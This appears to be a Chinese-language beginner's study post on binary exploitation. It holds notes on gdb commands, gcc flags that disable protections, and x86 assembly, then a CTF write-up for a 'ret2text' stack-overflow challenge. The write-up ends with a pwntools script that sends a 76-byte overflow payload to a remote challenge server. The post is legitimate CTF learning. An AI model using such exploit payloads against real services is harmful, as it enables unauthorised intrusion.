ret2text
零碎笔记
从0开始的PWN
在gdb里面tap 查看所有命令
objdump -d a -M intel | less
socat tcp-l:8888,fork exec:./a.out,reuseaddr
nc 127.0.0.1 8888
pwd 当前目录
GDB
运行
- run 完全执行
- start 运行到入口点
- si 步入
- finish 步出
- ni 下一步(不进入函数)
查看
-
i (b, r)
-
x/20i $rip (查看从rbp开始的汇编20行)
-
x/20b [0x7ffffffe210] (看0x7ffffffe210地址开始的4字节显示)
-
x/20gx (g 八字节,b 一字节,w 四字节,d 十进制)
-
x/20wx
-
x/20bx
-
x/20ix
-
x/20s
-
vmmap
-
p $rax=19 (print 查看地址)
-
p eviron(查看环境变量)
-
hexdump $rbp(查看内存)(高亮)
-
telescope $rbp(查看内存)
强制修改内存内容
set * oxffffff0978=0x61
set * ((unsigned int)$rbp)=0x61
set *(unsigned int *)$rbp = 0x22
反编译
- disadissemble main、$rip(可见它在哪个函数)
- set disassembly-flavor intel(intel 的汇编)
断点
- 设置:b 函数
- 清除断点:clear 函数/行号/空 delete b id 指定编号的断点
- 失效/启用断点:disable/enable b id
GCC
gcc (-m32) text.c (-fno-omit-frame-pointer) -o text.o
-g 调试信息
-fno-omit-frame-pointer
-no-pie
-z execstack
-O1/2/3(优化代码)
汇编
运算
add 加
sub 减
mul (无符号)乘
imul (有符号)乘
div (无符号)除
idiv (有符号)乘
neg 取负数
inc 自增
dec 自减
and 与
text eax,eax -> eax&eax(保存 )
or 或
not 非(逐位取反)
xor 异或 xor eax,eax : eax=0
lea rax,[rbp-0x18] : rax = rbp-0x18 (载入地址->计算)
shl 左移
shr 右移
实现分支结构、循环结构
cmp 比较eax和ebx的值
test
jmp 无条件跳转
jxx
- je 等
- jne 不等
- jg 大于
- jge 大于等于
- jl 小于
- jle 小于等于
loop Looptop等价于
dec ecx
cmp ecx,0
jne Looptop
函数调用
call
①将IP寄存器(PC)的IP旧值压栈保存(保存在函数的栈帧顶部)
②设置IP新值,无条件转移到被调用函数的第一条指令
ret
从函数的栈帧顶部找到IP旧值,将其出栈并恢复IP寄存器
栈
push 入栈
pop 出栈
push和pop只能对esp进行访问,但是不能访问栈中其他值
寄存器
rax 返回值
rbp、rsp 栈顶,栈底
rip 当前执行指令地址
例题
https://ctf.0x401.com/games/1/challenges#62-[Signin]ret2text
下载附件后用ida打开
在main内call vuln。在vlun内发现唯一的跳转,其中一个方向跳转到loc_1398,执行read_flag。跳转条件是jz(等于0时跳转)。cmp可以理解成减法,故当dword prt [rbp-4]内存放0x1337C0DEh时相减等于0,满足jz跳转条件。

通过执行程序,在前面发现一个不安全输入存在溢出,从rbp-50开始写入,距离前文rbp-4有76个字节的距离。

Segmentation fault(段错误),栈溢出导致了非法的内存访问。


构造payload为76个字节填充+0x1337C0DEh
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
# io = process('./pwn')
io = remote('154.94.237.159',33396 )
io.recvuntil(b"Enter Dexter's password: ")
payload = flat(b"A" * 76,0x1337C0DE,)
io.sendline(payload)
io.interactive()
```。/

浙公网安备 33010602011771号